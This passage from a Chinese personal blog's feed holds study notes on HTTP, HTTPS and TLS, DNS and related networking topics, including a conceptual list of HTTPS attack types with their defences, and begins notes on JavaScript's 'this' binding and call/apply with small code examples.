<li>4 表示请求错误</li>
<li>5 表示服务器错误</li>
</ul>
</li>
<li>常见
<ul>
<li>200： OK. 服务器已成功处理了客户端的请求，并且已返回所请求的资源</li>
<li>206： 服务器成功处理了部分请求，一般用来做断点续传，或者是视频文件等大文件的加载</li>
<li>301： 请求的网页已永久移动到新位置，常用于域名更换</li>
<li>302： 临时重定向不会缓存，常用于未登陆的用户访问用户中心重定向到登录页面</li>
<li>304： Not Modified. 自从上次请求后，请求的网页未修改过。服务器返回此响应时，不会返回网页内容。</li>
<li>400:  Bad Request</li>
<li>401： 请求要求身份验证</li>
<li>403:  Forbidden</li>
<li>404： 服务器找不到请求的网页</li>
<li>405： 禁用请求中指定的方法</li>
<li>500： 服务器内部错误</li>
<li>501:  Not Implemented</li>
<li>502:  Bad Gateway. 请求未完成，服务器从上游服务器收到一个无效的响应</li>
<li>503:  Service Unvailable.</li>
<li>504： Gateway Timeout.</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://vue3js.cn/interview/http/status.html"  target="_blank" rel="noopener" >面试官：说说HTTP 常见的状态码有哪些，适用场景？ | web前端面试 - 面试官系列</a></li>
</ul>
</li>
</ul>
<h3 id="常见的http方法">常见的HTTP方法</h3>
<ol>
<li>get
<ul>
<li>用于请求数据，通常用于从服务器获取资源或信息</li>
<li>幂等的，这意味着多次执行相同的 GET 请求，应该产生相同的结果，不会修改服务器上的数据</li>
<li>由于数据通过 URL 传递，浏览器和服务器对 URL 长度有一定限制，通常在 2KB 到 8KB 范围内</li>
</ul>
</li>
<li>put</li>
<li>delete</li>
<li>post
<ul>
<li>用于向服务器发送数据，一般用于提交表单、上传文件或触发服务器上的某种动作</li>
<li>不是幂等的，每次发送 POST 请求都可能修改服务器上的数据或引发不同的操作</li>
</ul>
</li>
<li>head</li>
</ol>
<h3 id="常见的http-请求头">常见的HTTP 请求头</h3>
<ol>
<li>Host</li>
<li>User-Agent</li>
<li>Accept</li>
<li>Accept-Encoding: zip, deflate, br</li>
<li>Accept-Language</li>
<li>Authorization</li>
<li>Content-Type</li>
<li>Content-Length : 指示请求体的字节长度</li>
<li>Referer: 告诉服务器从哪个页面发起的请求</li>
<li>Connection: <code>Connection: keep-alive</code></li>
<li>Cache-Control</li>
<li>Origin: 发起请求的来源</li>
<li>Range: 用于请求资源的部分内容，常见于下载请求中，指定从哪个字节位置开始获取资源</li>
</ol>
<h3 id="content-type">Content-Type</h3>
<ul>
<li>用于指示资源的原始媒体类型</li>
<li>常见格式
<ol>
<li>text/html</li>
<li>text/plain</li>
<li>image/png</li>
<li>application/json</li>
<li>application/octet-stream</li>
<li>application/x-www-form-urlencoded</li>
<li>multipart/form-data</li>
</ol>
</li>
<li>参考:
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type"  target="_blank" rel="noopener" >Content-Type - HTTP | MDN</a></li>
<li><a href="https://www.runoob.com/http/http-content-type.html"  target="_blank" rel="noopener" >HTTP content-type | 菜鸟教程</a></li>
</ul>
</li>
</ul>
<hr>
<h3 id="http11http2-和-http3-的介绍及它们的主要区别">HTTP/1.1、HTTP/2 和 HTTP/3 的介绍及它们的主要区别</h3>
<ul>
<li>HTTP/1.1
<ul>
<li>特点</li>
</ul>
<ol>
<li>
<p><strong>持久连接</strong>：在 HTTP/1.0 中，每次请求都需要新建一个 TCP 连接，而 HTTP/1.1 引入了持久连接（Keep-Alive），允许多个请求复用同一个连接，从而减少了建立连接的开销。</p>
</li>
<li>
<p><strong>管线化（Pipelining）</strong>：HTTP/1.1 支持请求管线化，即可以在发送一个请求后，不等响应完成就发送下一个请求，从而减少等待时间。不过由于实现复杂，这个特性并没有得到广泛应用。</p>
</li>
<li>
<p><strong>缓存控制</strong>：HTTP/1.1 引入了更灵活的缓存机制，通过 <code>Cache-Control</code> 和 <code>ETag</code> 头部来优化缓存和验证机制，减少了重复的数据传输。</p>
</li>
<li>
<p><strong>Host 头部</strong>：HTTP/1.1 要求所有请求都包含 <code>Host</code> 头部，使得一个服务器可以托管多个域名（虚拟主机）。</p>
</li>
</ol>
<ul>
<li>局限性：</li>
</ul>
<ol>
<li><strong>队头阻塞（Head-of-Line Blocking）</strong>：由于 HTTP/1.1 基于单一的 TCP 连接，当一个请求阻塞时，后续的请求也会被阻塞。</li>
<li><strong>并发连接的限制</strong>：浏览器为了加速页面加载，往往需要建立多个 TCP 连接来并行加载资源，但这会加重服务器和网络的负担。Chrome浏览器通常允许<strong>每个域名同时发出</strong>的最大连接数为<strong>6个</strong>。</li>
</ol>
</li>
</ul>
<ol start="2">
<li>HTTP/2</li>
</ol>
<ul>
<li>特点</li>
</ul>
<ol>
<li>
<p><strong>二进制协议</strong>：HTTP/2 使用二进制格式而不是 HTTP/1.1 的文本格式，这样数据可以更高效地解析和处理。</p>
</li>
<li>
<p><strong>多路复用（Multiplexing）</strong>：HTTP/2 允许在同一个 TCP 连接上同时发送多个请求和响应，避免了队头阻塞。每个请求被分为独立的帧，并通过流 ID 来区分，这些帧可以交错传输。</p>
</li>
<li>
<p><strong>头部压缩</strong>：HTTP/2 使用 HPACK 算法对头部信息进行压缩，减少了冗余数据的传输，尤其是当多个请求使用相同的头部时，效果尤为显著。</p>
</li>
<li>
<p><strong>服务器推送</strong>：服务器可以主动向客户端推送可能会用到的资源（例如 CSS 或 JS 文件），即使客户端还没有请求这些资源。这样可以减少等待时间，加快页面加载速度。</p>
</li>
</ol>
<ul>
<li>局限性</li>
</ul>
<ol>
<li>
<p>虽然多路复用减少了队头阻塞，但 HTTP/2 仍然基于 TCP，TCP 连接的队头阻塞问题没有完全消除。</p>
</li>
<li>
<p>在网络丢包的情况下，TCP 的重传机制会导致整个连接中的所有数据都受到影响。</p>
</li>
<li>
<p>HTTP/3</p>
<ul>
<li>特点
<ol>
<li>
<p><strong>基于 QUIC 的传输协议</strong>：QUIC 是一种基于 UDP 的传输协议，它通过在用户态实现拥塞控制、重传等功能，减少了握手和延迟。QUIC 的最大特点是可以避免 TCP 的队头阻塞。</p>
</li>
<li>
<p><strong>更快的握手</strong>：QUIC 通过 0-RTT 和 1-RTT 的握手机制，实现了比 TCP 快得多的连接建立时间。传统的 TCP 需要三次握手，而 QUIC 可以在一次往返中建立连接，减少了延迟。</p>
</li>
<li>
<p><strong>独立的流</strong>：QUIC 协议允许在一个连接中传输多个独立的流，即使某个流中有数据丢失，其他流不会受到影响，从而彻底解决了 TCP 的队头阻塞问题。</p>
</li>
<li>
<p><strong>内置加密</strong>：与 HTTP/2 一样，HTTP/3 默认要求加密。QUIC 本身就内置了 TLS 加密功能，简化了加密过程，提高了安全性。</p>
</li>
</ol>
</li>
</ul>
</li>
</ol>
<ul>
<li>
<p>使用 UDP 而非 TCP的原因</p>
<ol>
<li>UDP 提供了更高的灵活性和效率</li>
<li>QUIC 协议通过在应用层实现流控、拥塞控制、加密等功能，避免了 TCP 的许多限制，如队头阻塞、慢速连接建立和复杂的中间设备干扰</li>
<li>QUIC 通过 UDP 实现了更快的连接建立、灵活的连接管理和更强的传输性能</li>
</ol>
</li>
<li>
<p>局限性：</p>
<ol>
<li><strong>部署复杂性</strong>：由于 HTTP/3 基于 QUIC，而 QUIC 使用 UDP 传输，因此需要服务器和网络设备对 UDP 有良好的支持。这对某些旧的网络基础设施可能带来挑战。</li>
</ol>
</li>
<li>
<p>HTTP/1.1、HTTP/2 和 HTTP/3 的对比</p>
</li>
</ul>
<table>
<thead>
<tr>
<th>特性</th>
<th>HTTP/1.1</th>
<th>HTTP/2</th>
<th>HTTP/3</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>协议类型</strong></td>
<td>文本协议</td>
<td>二进制协议</td>
<td>基于 QUIC（UDP）</td>
</tr>
<tr>
<td><strong>连接复用</strong></td>
<td>不支持</td>
<td>支持多路复用</td>
<td>支持多路复用</td>
</tr>
<tr>
<td><strong>队头阻塞</strong></td>
<td>存在（TCP 层）</td>
<td>存在（TCP 层）</td>
<td>彻底解决（基于 QUIC）</td>
</tr>
<tr>
<td><strong>头部压缩</strong></td>
<td>不支持</td>
<td>支持（HPACK）</td>
<td>支持（QPACK）</td>
</tr>
<tr>
<td><strong>服务器推送</strong></td>
<td>不支持</td>
<td>支持</td>
<td>支持</td>
</tr>
<tr>
<td><strong>加密</strong></td>
<td>可选</td>
<td>默认加密（基于 TLS）</td>
<td>默认加密（基于 QUIC 内置 TLS）</td>
</tr>
<tr>
<td><strong>握手延迟</strong></td>
<td>需要三次握手</td>
<td>需要三次握手</td>
<td>0-RTT 和 1-RTT 握手，延迟更低</td>
</tr>
</tbody>
</table>
<h3 id="http-和-https-区别">HTTP 和 HTTPS 区别</h3>
<ul>
<li>
<p>HTTPS 是在 HTTP 协议基础上实施 TLS 加密，所有网站以及其他部分 web 服务都使用该协议。因此，任何使用 HTTPS 的网站都使用 TLS 加密。</p>
</li>
<li>
<p>HTTPS目的</p>
<ol>
<li>数据加密</li>
<li>数据一致性</li>
<li>身份认证</li>
</ol>
</li>
<li>
<p>参考：</p>
<ul>
<li><a href="https://www.cloudflare.com/zh-cn/learning/ssl/why-is-http-not-secure/"  target="_blank" rel="noopener" >为什么 HTTP 不安全？| HTTP 与 HTTPS | Cloudflare</a></li>
<li><a href="https://czkm.github.io/2021/09/01/%E6%88%91HTTPS%E5%8F%AA%E4%B8%BA%E4%B8%89%E4%BB%B6%E4%BA%8B/"  target="_blank" rel="noopener" >我HTTPS只为三件事！ - 橙汁坤的博客 | czkm Blog</a></li>
<li><a href="https://blog.laisky.com/p/https-in-action/?lang=zh#gsc.tab=0"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
</ul>
</li>
</ul>
<h3 id="https原理">HTTPS原理</h3>
<ul>
<li>
<p>依靠**TLS（传输层安全性协议）**来提供加密、认证和数据完整性。</p>
</li>
<li>
<p>加密通信</p>
<ul>
<li>HTTPS 使用对称加密和非对称加密结合的方式来加密通信：</li>
<li>非对称加密：在连接开始时，客户端和服务器通过非对称加密（公钥和私钥）进行握手。服务器提供一个公钥，客户端使用这个公钥加密信息，然后服务器用自己的私钥解密。由于公钥是公开的，而私钥是保密的，这确保了只有服务器能够解密加密的信息。</li>
<li>对称加密：握手过程中，双方会生成一个共享的会话密钥（对称密钥）。这个对称密钥用于接下来的通信，因为对称加密在处理大量数据时比非对称加密快得多。</li>
</ul>
</li>
<li>
<p>身份认证</p>
<ul>
<li>HTTPS 使用<strong>数字证书</strong>和**证书颁发机构（CA）**来验证服务器的身份，确保客户端正在与合法的服务器通信，而不是中间人攻击者。</li>
<li>数字证书：服务器必须提供一个受信任的数字证书，通常由一个可信的CA（如Let’s Encrypt、DigiCert等）签发。数字证书中包含了服务器的公钥和证书持有者的信息。</li>
<li>证书验证：客户端会检查这个证书是否由受信任的CA签发，是否有效，以及是否与服务器的域名匹配。如果证书有问题，浏览器会警告用户。</li>
</ul>
</li>
<li>
<p>数据完整性</p>
<ul>
<li>HTTPS 通过使用哈希函数（如 SHA256）来确保数据传输的完整性。具体来说，每个数据包都会附带一个哈希值，接收方可以通过这个哈希值验证数据是否在传输过程中被篡改。如果数据被篡改，哈希值将不匹配，通信会被终止。</li>
</ul>
</li>
<li>
<p>握手过程（TLS握手）</p>
<ol>
<li><strong>客户端Hello</strong>：客户端发送一个请求，包含可支持的加密算法、TLS版本等信息。</li>
<li><strong>服务器Hello</strong>：服务器响应，并发送数字证书和选择的加密算法。</li>
<li><strong>密钥交换</strong>：客户端使用服务器的公钥加密生成的会话密钥，并将其发送给服务器。服务器用私钥解密并获得该密钥。</li>
<li><strong>握手完成</strong>：双方开始使用会话密钥进行对称加密的通信。</li>
</ol>
</li>
</ul>
<h3 id="https缺陷sni">HTTPS缺陷(SNI)</h3>
<ul>
<li>ClientHello 中的 SNI(Server Name Indication)</li>
<li>GFW 基于 SNI 来掐断你的 HTTPS 握手</li>
<li>境内公有云基于 SNI 来阻断未备案的域名</li>
</ul>
<h3 id="https-攻击方式">HTTPS 攻击方式</h3>
<ol>
<li><strong>中间人攻击（Man-in-the-Middle Attack, MITM）</strong></li>
</ol>
<ul>
<li>攻击方法
<ul>
<li>恶意Wi-Fi热点：攻击者设置一个假冒的公共Wi-Fi热点，诱使用户连接，通过DNS劫持或使用不安全的HTTP版本，拦截流量。</li>
<li>恶意代理：在客户端与服务器之间，攻击者可能通过劫持代理服务器来解密和重新加密数据。</li>
</ul>
</li>
<li>防范措施：确保证书和域名验证正确，使用HSTS（HTTP Strict Transport Security）强制HTTPS连接，避免降级到不安全的HTTP。</li>
</ul>
<ol start="2">
<li><strong>SSL剥离攻击（SSL Stripping）</strong></li>
</ol>
<ul>
<li>SSL剥离攻击是中间人攻击的一种特殊形式，攻击者强迫客户端与服务器使用HTTP而不是HTTPS。攻击者拦截客户端请求，并将其重写为HTTP（即明文），然后在服务器和攻击者之间使用HTTPS。</li>
<li>攻击方法：用户尝试通过HTTP连接到网站，服务器重定向到HTTPS，但攻击者在重定向之前拦截并降级为HTTP。</li>
<li>防范措施：启用HSTS策略，它能确保浏览器在连接时始终使用HTTPS，并阻止降级为HTTP的攻击。</li>
</ul>
<ol start="3">
<li><strong>证书伪造或冒充攻击</strong></li>
</ol>
<ul>
<li>证书伪造：攻击者可能通过不安全的证书颁发机构（CA）或通过社会工程手段获得伪造的证书，假冒合法网站。</li>
<li>中间证书颁发机构滥用：如果中间证书颁发机构被攻击者控制，他们可能使用合法的中间证书签发虚假的证书。</li>
<li>防范措施：启用证书透明度（Certificate Transparency），它可以帮助检测和阻止伪造证书。现代浏览器会警告用户关于无效或伪造的证书。</li>
</ul>
<ol start="4">
<li><strong>降级攻击（Downgrade Attack）</strong></li>
</ol>
<ul>
<li>攻击方法: 攻击者强迫客户端和服务器使用较弱的加密算法或不安全的TLS版本（如SSL 3.0或TLS 1.0），以便更容易进行破解或解密。</li>
<li>防范措施：服务器应该禁用过时的SSL/TLS版本和弱加密算法（如RC4），并仅支持最新的TLS协议版本。</li>
</ul>
<ol start="5">
<li><strong>TLS重协商攻击</strong></li>
</ol>
<ul>
<li>攻击方法: TLS的重协商机制可能被攻击者利用，插入自己的数据到加密会话中，欺骗服务器认为这些数据来自合法的客户端。</li>
<li>防范措施：确保服务器和客户端都使用安全的TLS重协商机制，并打补丁修复已知漏洞。</li>
</ul>
<ol start="6">
<li><strong>恶意软件和浏览器劫持</strong></li>
</ol>
<ul>
<li>攻击方法：即使HTTPS保护了传输中的数据，攻击者仍然可能通过用户设备上的恶意软件或浏览器劫持绕过HTTPS。例如，某些恶意软件可以劫持浏览器流量，将用户重定向到虚假网站，即使启用了HTTPS。</li>
<li>防范措施：保持操作系统和软件的安全更新，使用防病毒软件，并提高用户安全意识。</li>
</ul>
<hr>
<h2 id="dns">DNS</h2>
<h3 id="dns-查询顺序">DNS 查询顺序</h3>
<ol>
<li>浏览器 DNS 缓存</li>
<li>浏览器调用 getaddrinfo() 查询数据，其中 getaddrinfo() 会根据如下顺序查询
<ol>
<li>先看 /etc/hosts 文件</li>
<li>通过主机名服务/mDNS 查询</li>
<li>通过 systemd-resolved 查询</li>
<li>最后通过 DHCP 下发的 DNS 查询</li>
<li>一级级往上查询直到根 DNS 服务器</li>
</ol>
</li>
</ol>
<h3 id="使用协议">使用协议</h3>
<ul>
<li>DNS在进行区域传输的时候使用TCP协议</li>
<li>其它时候则使用UDP协议</li>
<li>默认端口号: 53</li>
</ul>
<h3 id="dns安全">DNS安全</h3>
<ul>
<li><a href="https://blog.laisky.com/p/https-in-action/?lang=zh#gsc.tab=0"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://scoolor.github.io/2018/11/10/dns-udp-tcp/"  target="_blank" rel="noopener" >DNS为什么既使用TCP又使用UDP？ | 为什么这么涛的个人博客</a></li>
<li><a href="https://nova.moe/rethink-type-url-dns/"  target="_blank" rel="noopener" >重新思考浏览器输入了 URL 并按下回车之后到底发生了什么——本地 DNS 部分 | Nova Kwok&rsquo;s Awesome Blog</a></li>
</ul>
<hr>
<h2 id="ssl--tls">SSL / TLS</h2>
<h3 id="ssl-secure-socket-layer">SSL (Secure Socket Layer)</h3>
<ul>
<li>安全套接字层</li>
</ul>
<h3 id="tls-transport-layer-security">TLS (Transport Layer Security)</h3>
<ul>
<li>SSL的升级版</li>
<li>作用
<ol>
<li>加密</li>
<li>身份验证</li>
<li>完整性</li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://www.cloudflare.com/zh-cn/learning/ssl/transport-layer-security-tls/"  target="_blank" rel="noopener" >什么是传输层安全性（TLS）？ | Cloudflare</a></li>
<li><a href="https://liuyib.github.io/2020/04/18/deep-study-ssl-tls/"  target="_blank" rel="noopener" >深入探究 SSL/TLS 协议 | Liuyib&rsquo;s Blog</a></li>
<li><a href="https://hijiangtao.github.io/2022/11/16/Dig-Out-All-Secrets-Behind-TLS-Certificate-One/"  target="_blank" rel="noopener" >网络安全科普：奇妙的 SSL/TLS 证书（基础篇） - Joe’s Blog</a></li>
<li><a href="https://hijiangtao.github.io/2022/10/09/Secure-Your-Browsing-Experience-with-More-Encrypted-Tools/"  target="_blank" rel="noopener" >TLS/ESNI/ECH/DoT/DoH/JA3 - 谈谈 HTTPS 网络下浏览体验安全性的最后缝隙 - Joe’s Blog</a></li>
<li><a href="https://hijiangtao.github.io/2022/11/16/Dig-Out-All-Secrets-Behind-TLS-Certificate-One/"  target="_blank" rel="noopener" >网络安全科普：奇妙的 SSL/TLS 证书（基础篇） - Joe’s Blog</a></li>
<li><a href="https://blog.laisky.com/p/https-in-action/?lang=zh#gsc.tab=0"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
</ul>
<hr>
<h2 id="ipv4与ipv6">ipv4与ipv6</h2>
<ul>
<li>ipv6的环回地址: 0:0:0:0:0:0:0:1，通常也简写为::1</li>
<li>参考:
<ul>
<li><a href="https://wiki.zohead.com/%E6%8A%80%E6%9C%AF/%E7%BD%91%E7%BB%9C/IPv6%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86.md"  target="_blank" rel="noopener" >IPv6 基础知识 - Uranus&rsquo; Wiki</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="cdn">CDN</h2>
<ul>
<li>CDN（Content Delivery Network，内容分发网络）</li>
<li>CDN通过将内容缓存到全球多个节点（也称为边缘服务器）上，使得用户能够从最近的服务器获取数据，从而加快访问速度并减少延迟。</li>
<li>Amazon CloudFront 是 Amazon Web Services（AWS）提供的全球内容分发网络（CDN）服务</li>
</ul>
<hr>
<h2 id="待分类">待分类</h2>
<h3 id="网络包">网络包</h3>
<ul>
<li>参考
<ul>
<li><a href="https://plantegg.github.io/2019/05/15/%E5%B0%B1%E6%98%AF%E8%A6%81%E4%BD%A0%E6%87%82%E7%BD%91%E7%BB%9C--%E4%B8%80%E4%B8%AA%E7%BD%91%E7%BB%9C%E5%8C%85%E7%9A%84%E6%97%85%E7%A8%8B/"  target="_blank" rel="noopener" >就是要你懂网络&ndash;一个网络包的旅程 | plantegg</a></li>
</ul>
</li>
</ul>
<h3 id="轮询长轮询long-pollingwebsocket">轮询、长轮询（Long polling）、WebSocket</h3>
<ul>
<li>轮询：定期向服务器发出请求</li>
<li>长轮询过程
<ol>
<li>请求发送到服务器。</li>
<li>服务器在有消息之前不会关闭连接。</li>
<li>当消息出现时 —— 服务器将对其请求作出响应。</li>
<li>浏览器立即发出一个新的请求。</li>
</ol>
</li>
<li>WebSocket提供了一种在浏览器和服务器之间建立持久连接来交换数据的方法。数据可以作为“数据包”在两个方向上传递，而无需中断连接也无需额外的 HTTP 请求。</li>
<li>参考
<ul>
<li><a href="https://zh.javascript.info/long-polling"  target="_blank" rel="noopener" >长轮询（Long polling）</a></li>
<li><a href="https://zh.javascript.info/websocket"  target="_blank" rel="noopener" >WebSocket</a></li>
</ul>
</li>
</ul>
<h3 id="arp">ARP</h3>
<p>ARP（Address Resolution Protocol，地址解析协议）是用来将IP地址解析为MAC地址的协议。 主机或三层网络设备上会维护一张ARP表，用于存储IP地址和MAC地址的映射关系，一般ARP表项包括动态ARP表项和静态ARP表项。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之this</title>
      <link>https://euds.org/2024/javascript_points_of_this/</link>
      <pubDate>Thu, 10 Oct 2024 00:56:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_this/</guid>
      <description>自己学习过程中整理的关于JavaScript中this的知识点</description>
      <content:encoded><![CDATA[<h2 id="this的判断">this的判断</h2>
<h3 id="关键一">关键一</h3>
<ul>
<li><code>this</code>永远指向，（最内层）调用这个包含&quot;this&quot;关键字的函数的对象</li>
<li>也就是说: 无论在哪里找到方法：在一个对象还是在原型中。在一个方法调用中，this 始终是点符号<code>.</code>前面的对象</li>
<li>示例一
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">my_element</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;click&#34;</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">className</span><span class="p">);</span> <span class="c1">// 输出 my_element 的 className
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">currentTarget</span> <span class="o">===</span> <span class="k">this</span><span class="p">);</span> <span class="c1">// 输出 `true`
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">});</span>
</span></span></code></pre></div></li>
<li>示例二
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">user</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">name</span><span class="o">:</span> <span class="s2">&#34;John&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="nx">surname</span><span class="o">:</span> <span class="s2">&#34;Smith&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">set</span> <span class="nx">fullName</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">surname</span><span class="p">]</span> <span class="o">=</span> <span class="nx">value</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">get</span> <span class="nx">fullName</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sb">`</span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">name</span><span class="si">}</span><span class="sb"> </span><span class="si">${</span><span class="k">this</span><span class="p">.</span><span class="nx">surname</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">admin</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">__proto__</span><span class="o">:</span> <span class="nx">user</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="nx">isAdmin</span><span class="o">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span><span class="nx">admin</span><span class="p">.</span><span class="nx">fullName</span><span class="p">);</span> <span class="c1">// John Smith (*)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// setter triggers!
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">admin</span><span class="p">.</span><span class="nx">fullName</span> <span class="o">=</span> <span class="s2">&#34;Alice Cooper&#34;</span><span class="p">;</span> <span class="c1">// (**)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span><span class="nx">admin</span><span class="p">.</span><span class="nx">fullName</span><span class="p">);</span> <span class="c1">// Alice Cooper，admin 的内容被修改了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">alert</span><span class="p">(</span><span class="nx">user</span><span class="p">.</span><span class="nx">fullName</span><span class="p">);</span>  <span class="c1">// John Smith，user 的内容被保护了
</span></span></span></code></pre></div></li>
</ul>
<h3 id="关键二">关键二</h3>
<ul>
<li>如果函数在最外层直接运行，默认绑定的对象是 window</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">test</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">test</span><span class="p">();</span> <span class="c1">//undefined
</span></span></span></code></pre></div></li>
</ul>
<h3 id="补充">补充</h3>
<ul>
<li>对象不构成单独的作用域，而函数有。</li>
<li>In arrow functions, <code>this</code> retains the value of the enclosing lexical context&rsquo;s <code>this</code>.</li>
<li>箭头函数的this，一旦确定后是不可直接更改的，但可间接更改，示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">test</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">this</span><span class="p">);</span> <span class="c1">// 这里箭头函数的this指向test()的this
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">aa</span><span class="o">:</span> <span class="mi">123</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">rr</span> <span class="o">=</span> <span class="nx">test</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="c1">// test()的this被修改了，导致箭头函数的也跟着修改了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">rr</span><span class="p">,</span><span class="mi">1000</span><span class="p">);</span> <span class="c1">// obj ，而不是window; 因为箭头函数rr的this已经确定了，后面不能更改
</span></span></span></code></pre></div></li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://zhuanlan.zhihu.com/p/25349790"  target="_blank" rel="noopener" >Javascript ：this关键字 详解 - 知乎</a></li>
<li><a href="https://segmentfault.com/a/1190000039881063"  target="_blank" rel="noopener" >javascript - 关于箭头函数里的this - 个人文章 - SegmentFault 思否</a></li>
<li><a href="https://muyiy.cn/blog/3/3.2.html"  target="_blank" rel="noopener" >JavaScript深入之重新认识箭头函数的this | 木易杨前端进阶</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/this"  target="_blank" rel="noopener" >this - JavaScript | MDN</a></li>
<li><a href="https://zh.javascript.info/reference-type"  target="_blank" rel="noopener" >Reference Type</a></li>
</ul>
<hr>
<h2 id="callbindapply">call、bind、apply</h2>
<h3 id="apply">apply</h3>
<ul>
<li>接受两个参数，第一个参数是this的指向，第二个参数是函数接受的参数，以<strong>数组</strong>的形式传入,<strong>必须一次性传入所有参数</strong></li>
<li>当第一个参数为null、undefined的时候，默认指向window(在浏览器中)</li>
<li>改变this指向后原函数会<strong>立即执行</strong>，且此方法只是临时改变thi指向一次。</li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">arr</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">max</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="nx">arr</span><span class="p">));</span> <span class="c1">//10
</span></span></span></code></pre></div></li>
</ul>
<h3 id="call">call</h3>
<ul>
